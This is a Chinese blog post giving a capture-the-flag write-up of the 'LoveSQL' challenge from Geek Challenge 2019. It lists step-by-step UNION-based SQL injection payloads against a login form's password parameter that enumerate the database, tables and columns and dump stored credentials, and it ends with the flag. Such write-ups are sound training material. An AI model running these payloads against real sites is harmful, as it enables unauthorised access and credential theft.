Loading

[极客大挑战 2019]LoveSQL

[极客大挑战 2019]LoveSQL

测试一下注入类型,出现报错,说明是字符串注入

image-20220506102459795

使用 万能钥匙 成功登录上,并给出了密码

image-20220506102652159

试试一下这个flag,发现不对,继续搞。

image-20220506103936090

从这个报错的语句可以看出来,sql的查询语句是将用户名和密码一起查询的,上面得到了 admin 用户,下面就可以利用这点,注入点放在 passwod 字段。

# 查询语句
$sql = 'SELECT * FROM table WHERE username=$username and password=$password'

# 测试返回数据的位置
?username=admin&password=1' union select 1,2,3 %23

# 获取当前数据库名和用户
?username=admin&password=1' union select 1,database(),user() %23

# 获取数据库中的数据表(子查询被限制只能返回一条)
?username=admin&password=1' union select 1,(select concat(',',table_name) from information_schema.tables where table_schema=database() LIMIT 0,1),user() %23
## 解决方法一:添加一个LIMIT 一行一行的返回,****database() LIMIT 0,1),user() %23
## 解决方法二:将 concat() 改为 group_concat() 返回的数据只有一条。
?username=admin&password=1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),user() %23

# 获取表中的字段名字
?username=admin&password=1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'),user() %23

# 获取字段值
?username=admin&password=1' union select 1,(select group_concat(id,username,password) from l0ve1ysq1),user() %23

返回 2,3 的位置可以回显结果。

image-20220506104234265

查询当前数据库和用户

image-20220506104327798

获取表的时候回显说,子查询最多返回一条数据,通过修改插入的语句返回一条数据。

image-20220506104553233

image-20220506105520462

获取数据表中字段名字和字段的值

image-20220506105815277

image-20220506110033685

看不清?没关系,看源码即可

image-20220506110340848

# 拿到flag
flag{d0329084-f9d7-4d67-a974-4e83205ef814}
posted @ 2022-08-13 10:38  knsec  阅读(29)  评论(0编辑  收藏  举报